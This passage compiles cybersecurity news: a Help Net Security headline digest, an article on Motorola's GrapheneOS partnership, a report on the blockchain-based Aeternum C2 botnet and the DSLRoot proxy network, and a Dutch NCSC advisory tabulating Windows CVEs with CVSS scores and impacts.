free, open-source help desk and shared inbox system used by businesses or teams to manage customer support conversations in one place. Cisco warns of SD-WAN Manager exploitation, fixes 48 firewall vulnerabilities Cisco has confirmed that two Catalyst SD-WAN Manager vulnerabilities (CVE-2026-20128 and CVE-2026-20122) patched in late February 2025 are being exploited by attackers. CVE-2026-20128 is a bug in the Data Collection Agent (DCA) feature of Cisco Catalyst SD-WAN Manager, which could allow an authenticated, local attacker to gain DCA user privileges on an affected system. Iran-linked APT targets US critical sectors with new backdoors An Iran-linked hacking group has been active inside the networks of several US organizations since early February, raising concerns that the activity could precede broader cyber operations connected to escalating geopolitical tensions in the Middle East. Why workforce identity is still a vulnerability, and what to do about it Most organizations believe they have workforce identity under control. New hires are verified. Accounts are provisioned. Multi-factor authentication is enforced. Audits are passed. Then a breach happens, often through an account that was “properly secured.” But the problem can be traced back to the fact that identity verification, provisioning, authentication, and recovery operate as separate events, not a continuous system of trust. Engineering trust: A security blueprint for autonomous AI agents AI agents have evolved from just chatbots, answering questions to executing actions using various integrated tools, often autonomously, and as such the traditional security models have become less efficient. A single malicious instruction hidden in a webpage (that the agent processes), can manipulate that agent into performing unintended actions or leaking sensitive data. March 2026 Patch Tuesday forecast: Is AI security an oxymoron? Developers and analysts are using more AI tools to produce code and to test both the performance and security of the finished products. They are also embedding AI functionality in their products directly. But just how secure are these AI tools and routines themselves? Recent reports show they suffer from vulnerabilities just like any other code. When cyber threats start thinking for themselves In this Help Net Security video, Jason Rivera, Field CISO & Head of Solution Engineering at SimSpace, discusses how autonomous AI agents are changing cyber threats. Drawing on experience in the US Army, NSA, Deloitte, and CrowdStrike, he describes how security teams have traditionally measured risk through volume, speed, and sophistication. Why phishing still works today In this Help Net Security video, Gal Livschitz, Senior Penetration Tester at Terra Security, explains how phishing has evolved and why employees still fall for it. He outlines how phishing now uses HTTPS, branded pages, and lookalike domains, making attacks harder to spot. He highlights communication overload as a key weakness that attackers exploit. Motorola turns to GrapheneOS for smartphone security upgrade Motorola is strengthening smartphone security through a long-term partnership with the GrapheneOS Foundation, a mobile security nonprofit that develops a hardened operating system based on the Android Open Source Project. Anthropic’s Claude hit by widespread service outage (updated) Anthropic suffered widespread service disruptions Monday morning, leaving thousands of users unable to access its Claude AI platform. Most users reporting problems said they encountered errors when attempting to log in. Meta AI in WhatsApp organizes chats and reopens privacy issues The trend of integrating AI into digital platforms continues. In the latest Android beta release (2.26.9.4), the company has introduced a feature that allows users to organize their chat history with the help of Meta AI. Anthropic poaches users from rival chatbots with easier migration The controversy over Anthropic’s negotiations with the Pentagon has driven increased interest in Claude. Negotiations between the Department of Defense and Anthropic collapsed after a deadline for an agreement expired without a deal. The Pentagon had pressed the company to loosen certain restrictions on how its AI systems could be used. Anthropic declined and kept its existing policy limits in place. $100 radio equipment can track cars through their tire sensors When people consider what might track their movements, they think of smartphone apps, GPS services, or roadside cameras. The tires of a new car rarely enter that equation. Researchers at IMDEA Networks Institute, together with European partners, found that Tire Pressure Monitoring System (TPMS) sensors inside each wheel broadcast unencrypted wireless signals containing persistent identifiers. Google speeds up Chrome updates with new security-focused release cycle The Chrome browser is moving to a two-week release cycle, a change intended to give developers and users faster access to new features, performance improvements and bug fixes. The new schedule begins with the stable release of Chrome 153 on September 8, 2026, followed by new beta and stable releases every two weeks. The change applies to desktop, Android and iOS platforms, while the Dev and Canary channels remain unchanged. Workers reviewing Meta Ray-Ban footage encounter users’ intimate moments Bank details and intimate moments captured without people realizing they are being recorded are the new privacy nightmare behind the latest tech fashion hit, Meta Ray-Ban smart glasses. A joint investigation by Svenska Dagbladet and Göteborgs-Posten found that footage and audio recorded by Meta’s Ray-Ban smart glasses are reviewed by human contractors in Kenya, including recordings containing sensitive personal material. Authorities pull plug on Tycoon 2FA phishing-as-a-service platform Tycoon 2FA, a phishing-as-a-service platform that allowed cybercriminals to bypass MFA and break into online accounts, has been disrupted by law enforcement agencies and cybersecurity partners. Western governments lay the groundwork for secure 6G networks Governments are preparing for 6G, the next generation of mobile networks, placing security and resilience among their top priorities. In response, seven countries participating in the Global Coalition on Telecoms (GCOT) have introduced a set of 6G Security and Resilience Principles, developed with support from industry partners. Backup strategies are working, and ransomware gangs are responding with data theft Business email compromise (BEC) and funds transfer fraud combined for 58% of all cyber insurance claims filed in 2025, according to data from Coalition covering more than 100,000 policyholders across the United States, Canada, the United Kingdom, Australia, and Germany. OpenAI’s GPT-5.4 doubles down on safety as competition heats up In the midst of recent developments and controversies surrounding a contract with the U.S. Department of Defense, OpenAI released the GPT-5.4 model. The release comes at a time when users are reportedly leaving ChatGPT for rival chatbots, particularly Anthropic’s Claude. Microsoft working on Teams feature to keep unauthorized bots at bay Microsoft plans to add a new Teams feature that lets meeting admins identify and control third-party bots before they join. According to the Microsoft 365 Roadmap, the feature is scheduled to begin rolling out in May 2026 on Desktop, Mac, Linux, iOS, and Android versions of Microsoft Teams. AI risk moves into the security budget spotlight Enterprises are pushing AI deeper into workflows that touch sensitive data across cloud platforms and SaaS apps. The 2026 Thales Data Threat Report, based on a survey of 3,120 respondents in 20 countries, places that shift alongside growing pressure on data protection, identity controls, and cloud security. UK reduces cyberattack fix times from two months to eight days The UK government has launched a new vulnerability monitoring service (VMS) that promises to reduce the time needed to fix critical cyber weaknesses across the public sector. The service, launched as part of the Blueprint for Modern Digital Government, published in January 2025, continuously scans internet-facing systems at around 6,000 public sector organizations. Using commercial and proprietary tools, it detects about 1,000 types of cyber vulnerabilities. IPFire ships its 200th core update with a new domain blocklist and kernel upgrade Network firewall distribution IPFire released Core Update 200, marking the 200th incremental update to the 2.29 branch. The release bundles a kernel upgrade, a beta domain blocklist service, security patches for OpenSSL and glibc, and a range of component updates. 5 years of shifting cybersecurity behavior Online security is built through routine decisions made across devices and accounts. People choose how to create passwords, how often to reuse them, and how much effort to invest in protecting personal data. The National Cybersecurity Alliance and CybSafe’s Oh, Behave! The Cybersecurity Attitudes and Behaviors Report: 2021–2025 follows those patterns over five years, drawing on responses from more than 24,000 adults and documenting how attitudes and behaviors shift over time. Healthcare organizations are accepting cyber risk to cut costs Healthcare organizations are cutting cybersecurity budgets under financial pressure even as the threats targeting their systems intensify. A PwC survey of 381 global healthcare executives, conducted between May and July 2025, puts numbers to the gap between the risks the sector faces and the controls it has in place. Android’s March 2026 security patch fixes over 100 flaws, one under targeted exploitation The Android March 2026 security patch addresses vulnerabilities across dozens of components and includes one CVE confirmed under active exploitation. Devices running a patch level of 2026-03-05 or later receive fixes for all disclosed issues. New Defender deployment tool streamlines Windows device onboarding with single executable Microsoft’s Defender deployment tool for Windows helps administrators manage device onboarding at scale with updated progress visibility and additional controls. Cloudflare tracked 230 billion daily threats and here is what it found Cloudflare’s network blocks over 230 billion threats per day. The volume indicates how routine and automated the attack cycle has become, and the patterns behind that volume point to a shift in how breaches begin and progress. Cloudflare’s threat research unit, Cloudforce One, published its inaugural cyber threat report 2026, covering activity observed through 2025 and projecting into the year ahead. The report draws on telemetry from Cloudflare’s network, which handles roughly 20% of global web traffic. Immutable Linux distribution Nitrux 6.0.0 adds GPU passthrough, boot-level recovery, C++ update system Nitrux 6.0.0, released March 3, 2026, packages several components that security practitioners running Linux workstations will find worth examining: a new hypervisor orchestrator with IOMMU-enforced isolation, a rewritten update system with cryptographic verification, and a recovery mechanism that operates from within the boot process itself. LeakBase cybercrime forum with 142,000 users taken down in global operation LeakBase, an open-web cybercrime forum facilitating the trade of leaked databases and “stealer logs” containing stolen credentials, has been taken down in an international law enforcement operation coordinated by Europol and involving authorities from 14 countries. Google changes Play Store policies after settling Epic Games dispute Google is making changes to the Play Store after settling its legal fight with Epic Games, focusing on three areas: more billing options, lower fees with new programs for developers, and a program for registered app stores. That attractive online ad might be a malware trap Malware increasingly travels through the infrastructure that delivers online advertising. The Media Trust’s Global Report on Digital Trust, Ad Integrity, and the Protection of People describes a digital ad ecosystem where scam campaigns, malicious redirects, and malware delivery appear alongside marketing traffic. What happens when AI teams compete against human hackers A cybersecurity competition produced what may be the largest controlled dataset comparing AI-augmented teams to human-only teams on professional-grade offensive security tasks. The event, called NeuroGrid, ran for 72 hours on the Hack The Box platform and drew 1,337 registered human-only teams and 156 registered AI-agent teams competing across 36 challenges in nine security domains at four difficulty levels. Cursor Automations turns code review and ops into background tasks Cursor Automations, the always-on agent platform from Cursor, is expanding with a new generation of autonomous systems that streamline code review, incident response, and other engineering workflows. The platform runs AI agents on schedules or in response to development events. New cyber module strengthens risk planning for health organizations The Administration for Strategic Preparedness and Response’s (ASPR) new cybersecurity module in the Risk Identification and Site Criticality (RISC) 2.0 Toolkit helps organizations identify critical gaps, prioritize investments, and make informed decisions about risk mitigation to reduce disruptions to patient care and strengthen resilience. Secure by Design: Building security in at the beginning Secure by Design is not a single tool, product, or one‑time activity. It is a holistic approach that requires security to be deliberately embedded from the very beginning, at the point where systems, software, and services are conceived and designed. Rather than reacting to vulnerabilities after deployment, Secure by Design emphasizes anticipating risk early and addressing it through intentional design decisions, clearly defined security requirements, and accountability across the entire lifecycle. Webinar: The True State of Security 2026 In the webinar The True State of Security 2026, you’ll gain insight into why AI is distracting teams from more persistent risks and how human access and permissions remain the weakest link. You’ll also learn why current security workflows are slowing organizational growth and what a balanced security strategy should look like heading into 2026. Cybersecurity jobs available right now: March 3, 2026 We’ve scoured the market to bring you a selection of roles that span various skill levels within the cybersecurity field. Check out this weekly selection of cybersecurity jobs available right now. New infosec products of the week: March 6, 2026 Here’s a look at the most interesting products from the past week, featuring releases from Beazley Security, Push Security, Samsung, and Tufin.
helpnetsecurity.comMar 8, 2026extracted
Motorola turns to GrapheneOS for smartphone security upgrade
Motorola turns to GrapheneOS for smartphone security upgrade Motorola is strengthening smartphone security through a long-term partnership with the GrapheneOS Foundation, a mobile security nonprofit that develops a hardened operating system based on the Android Open Source Project. GrapheneOS includes protections designed to reduce entire classes of vulnerabilities, strengthen app sandboxing and system boundaries, and limit the impact of common exploits while maintaining a standard Android user experience. GrapheneOS is best suited for users who prioritize privacy, security architecture, and greater control over their device. The operating system is currently available only on Google Pixel devices. “By combining GrapheneOS’s pioneering engineering with Motorola’s decades of security expertise, real-world user insights, and Lenovo’s ThinkShield solutions, the collaboration will advance a new generation of privacy and security technologies,” the company said in the announcement. Specific GrapheneOS features planned for integration have not been disclosed. GrapheneOS developers noted that Motorola’s devices still do not meet the platform’s hardware requirements and that work is ongoing to bring them closer to those standards. According to Motorola, joint research, software enhancements, and new security capabilities will continue in the coming months as the partnership evolves.
helpnetsecurity.comMar 2, 2026extracted
Aeternum C2 Botnet Stores Encrypted Commands on Polygon Blockchain to Evade Takedown
Cybersecurity researchers have disclosed details of a new botnet loader called Aeternum C2 that uses a blockchain-based command-and-control (C2) infrastructure to make it resilient to takedown efforts. "Instead of relying on traditional servers or domains for command-and-control, Aeternum stores its instructions on the public Polygon blockchain," Qrator Labs said in a report shared with The Hacker News. "This network is widely used by decentralized applications, including Polymarket, the world's largest prediction market. This approach makes Aeternum's C2 infrastructure effectively permanent and resistant to traditional takedown methods." This is not the first time botnets have been found relying on blockchain for C2. In 2021, Google said it took steps to disrupt a botnet known as Glupteba that uses the Bitcoin blockchain as a backup C2 mechanism to fetch the actual C2 server address. Details of Aeternum C2 first emerged in December 2025, when Outpost24's KrakenLabs revealed that a threat actor by the name of LenAI was advertising the malware on underground forums. A $200 payment grants customers access to a panel and a configured build. For $4,000, customers were allegedly promised the entire C++ codebase along with updates. A native C++ loader available in both x32 and x64 builds, the malware works by writing commands to be issued to the infected host to smart contracts on the Polygon blockchain. The bots then read those commands by querying public remote procedure call (RPC) endpoints. All of this is managed via the web-based panel, from where customers can select a smart contract, choose a command type, specify a payload URL and update it. The command, which can target all endpoints or a specific one, is written into the blockchain as a transaction, after which it becomes available to every compromised device that's polling the network. "Once a command is confirmed, it cannot be altered or removed by anyone other than the wallet holder," Qrator Labs said. "The operator can manage multiple smart contracts simultaneously, each one potentially serving a different payload or function, such as a clipper, a stealer, a RAT, or a miner." According to a two-part research published by Ctrl Alt Intel earlier this month, the C2 panel is implemented as a Next.js web application that allows operators to deploy smart contracts to the Polygon blockchain. The smart contracts contain a function that, when called by the malware via the Polygon RPC, causes it to return the encrypted command that's subsequently decoded and run on the victim machines. Besides using the blockchain to turn it into a takedown-resistant botnet, the malware packs in various anti-analysis features to extend the lifespan of infections. This includes checks to detect virtualized environments, in addition to equipping customers with the ability to scan their builds via Kleenscan to ensure that they are not flagged by antivirus vendors. "The operational costs are negligible: $1 worth of MATIC, the native token of the Polygon network, is enough for 100 to 150 command transactions," the Czechian cybersecurity vendor said. "The operator doesn't need to rent servers, register domains, or maintain any infrastructure beyond a crypto wallet and a local copy of the panel." The threat actor has since attempted to sell the entire toolkit for an asking price of $10,000, claiming a lack of time for support and their involvement in another project. "I will sell the entire project to one person with permission for resale and commercial use, with all 'rights,'" LenAI wrote in a dark web forum post. "I will also give useful tips/notes on development that I did not have time to implement." It's worth noting that LenAI is also behind a second crimeware solution called ErrTraffic that enables threat actors to automate ClickFix attacks by generating fake glitches on compromised websites to induce a false sense of urgency and deceive users into following malicious instructions. The disclosure comes as Infrawatch published details of an underground service that deploys dedicated laptop hardware into American homes to co-opt the devices into a residential proxy network named DSLRoot that redirects malicious traffic through them. The hardware is designed to run a Delphi-based program called DSLPylon that's equipped with capabilities to enumerate supported modems on the network, as well as remotely control the residential networking equipment and Android devices via an Android Debug Bridge (ADB) integration. "Attribution analysis identifies the operator as a Belarusian national with residential presence in Minsk and Moscow," Infrawatch said. "DSLRoot is estimated to operate roughly 300 active hardware devices across 20+ U.S. states." The operator has been identified as Andrei Holas (aka Andre Holas and Andrei Golas), with the service promoted on BlackHatWorld by a user operating under the alias GlobalSolutions, claiming to offer physical residential ADSL proxies for sale for $190 per month for unrestricted access. It is also available for $990 for six months and $1,750 for annual subscriptions. "DSLRoot's custom software provides automated remote management of consumer modems (ARRIS/Motorola, Belkin, D-Link, ASUS) and Android devices via ADB, enabling IP address rotation and connectivity control," the company noted. "The network operates without authentication, allowing clients to route traffic anonymously through U.S. residential IPs."
thehackernews.comFeb 26, 2026extracted
NCSC-2026-0007 [1.00] [M/H] Kwetsbaarheden verholpen in Microsoft Windows
Microsoft heeft kwetsbaarheden verholpen in Windows Een kwaadwillende kan de kwetsbaarheden misbruiken om aanvallen uit te voeren die kunnen leiden tot de volgende categoriën schade: Denial-of-Service (DoS) Manipulatie van gegevens Toegang tot gevoelige gegevens Uitvoeren van willekeurige code (gebruikersrechten) Uitvoeren van willekeurige code (root/admin) Verkrijgen van verhoogde rechten Omzeilen van een beveiligingsmaatregel Spoofing Van de kwetsbaarheid met kenmerk CVE-2026-21265 meldt Microsoft informatie te hebben dat deze publiekelijk besproken wordt op fora. Een kwaadwillende kan de kwetsbaarheid misbruiken om Secure Boot te omzeilen. Misbruik is echter niet eenvoudig, vereist voorafgaande verhoogde rechten en een diepgaande kennis van het te compromitteren systeem. Grootschalig misbruik is hiermee zeer onwaarschijnlijk. Van de kwetsbaarheid met kenmerk CVE-2026-20805 meldt Microsoft dat deze als zeroday-kwetsbaarheid is misbruikt. Misbruik vereist lokale toegang en voorafgaande gebruikersauthenticatie. Verdere informatie is niet bekend gesteld. Grootschalig misbruik is niet waarschijnlijk. De kwetsbaarheid met kenmerk CVE-2023-31096 is een oudere kwetsbaarheid in Broadcom modem drivers, zoals gebruikt in de (verouderde) Agere modems. Hiervan is al langer Proof-of-Concept-code bekend, maar grootschalig misbruik heeft voor zover bekend nog niet plaatsgevonden. Microsoft heeft in deze update de drivers verwijderd. `` Windows Remote Assistance: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20824 | 5.50 | Omzeilen van beveiligingsmaatregel | |----------------|------|-------------------------------------| Capability Access Management Service (camsvc): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20815 | 7.00 | Verkrijgen van verhoogde rechten | | CVE-2026-20835 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20851 | 6.20 | Toegang tot gevoelige gegevens | | CVE-2026-20830 | 7.00 | Verkrijgen van verhoogde rechten | | CVE-2026-21221 | 7.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Media: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20837 | 7.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Windows Local Session Manager (LSM): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20869 | 7.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows NDIS: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20936 | 4.30 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows Management Services: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20858 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20865 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20877 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20918 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20923 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20924 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20861 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20862 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20866 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20867 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20873 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20874 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Client-Side Caching (CSC) Service: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20839 | 5.50 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Host Process for Windows Tasks: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20941 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Graphics Kernel: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20814 | 7.00 | Verkrijgen van verhoogde rechten | | CVE-2026-20836 | 7.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows NTLM: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20925 | 6.50 | Voordoen als andere gebruiker | | CVE-2026-20872 | 6.50 | Voordoen als andere gebruiker | |----------------|------|-------------------------------------| Windows Ancillary Function Driver for WinSock: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20810 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20831 | 7.00 | Verkrijgen van verhoogde rechten | | CVE-2026-20860 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Printer Association Object: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20808 | 7.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Local Security Authority Subsystem Service (LSASS): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20875 | 7.50 | Denial-of-Service | | CVE-2026-20854 | 7.50 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Windows Kernel: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20818 | 6.20 | Toegang tot gevoelige gegevens | | CVE-2026-20838 | 5.50 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows Secure Boot: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-21265 | 6.40 | Omzeilen van beveiligingsmaatregel | |----------------|------|-------------------------------------| Windows Error Reporting: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20817 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Kernel-Mode Drivers: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20859 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Remote Procedure Call: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20821 | 6.20 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Dynamic Root of Trust for Measurement (DRTM): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20962 | 4.40 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows Telephony Service: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20931 | 8.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Installer: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20816 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Microsoft Graphics Component: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20822 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Hello: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20804 | 7.70 | | | CVE-2026-20852 | 7.70 | | |----------------|------|-------------------------------------| Windows WalletService: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20853 | 7.40 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Desktop Window Manager: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20805 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20871 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Connected Devices Platform Service (Cdpsvc): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20864 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Internet Connection Sharing (ICS): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20828 | 4.60 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows Kerberos: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20833 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20849 | 7.50 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Motorola Soft Modem Driver: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2024-55414 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Routing and Remote Access Service (RRAS): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20843 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20868 | 8.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Windows NTFS: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20840 | 7.80 | Uitvoeren van willekeurige code | | CVE-2026-20922 | 7.80 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Windows DWM: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20842 | 7.00 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Hyper-V: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20825 | 4.40 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows Kernel Memory: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20809 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Server Update Service: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20856 | 8.10 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Windows File Explorer: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20823 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20932 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20937 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20939 | 5.50 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows TPM: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20829 | 5.50 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows Clipboard Server: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20844 | 7.40 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Remote Procedure Call Interface Definition Language (IDL): |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20832 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Common Log File System Driver: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20820 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Cloud Files Mini Filter Driver: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20857 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20940 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Win32K - ICOMP: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20811 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20920 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20863 | 7.00 | Verkrijgen van verhoogde rechten | | CVE-2026-20870 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Virtualization-Based Security (VBS) Enclave: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20819 | 5.50 | Toegang tot gevoelige gegevens | | CVE-2026-20876 | 6.70 | Verkrijgen van verhoogde rechten | | CVE-2026-20938 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20935 | 6.20 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Agere Windows Modem Driver: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2023-31096 | 7.80 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows LDAP - Lightweight Directory Access Protocol: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20812 | 6.50 | | |----------------|------|-------------------------------------| Windows HTTP.sys: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20929 | 7.50 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Deployment Services: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-0386 | 7.50 | Uitvoeren van willekeurige code | |----------------|------|-------------------------------------| Tablet Windows User Interface (TWINUI) Subsystem: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20826 | 7.80 | Verkrijgen van verhoogde rechten | | CVE-2026-20827 | 5.50 | Toegang tot gevoelige gegevens | |----------------|------|-------------------------------------| Windows SMB Server: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20919 | 7.50 | Verkrijgen van verhoogde rechten | | CVE-2026-20921 | 7.50 | Verkrijgen van verhoogde rechten | | CVE-2026-20926 | 7.50 | Verkrijgen van verhoogde rechten | | CVE-2026-20927 | 5.30 | Denial-of-Service | | CVE-2026-20934 | 7.50 | Verkrijgen van verhoogde rechten | | CVE-2026-20848 | 7.50 | Verkrijgen van verhoogde rechten | |----------------|------|-------------------------------------| Windows Shell: |----------------|------|-------------------------------------| | CVE-ID | CVSS | Impact | |----------------|------|-------------------------------------| | CVE-2026-20834 | 4.60 | Voordoen als andere gebruiker | | CVE-2026-20847 | 6.50 | Voordoen als andere gebruiker | |----------------|------|-------------------------------------| ``
advisories.ncsc.nlJan 13, 2026extracted
ALPRs are recording your daily drive (Lock and Code S06E26)
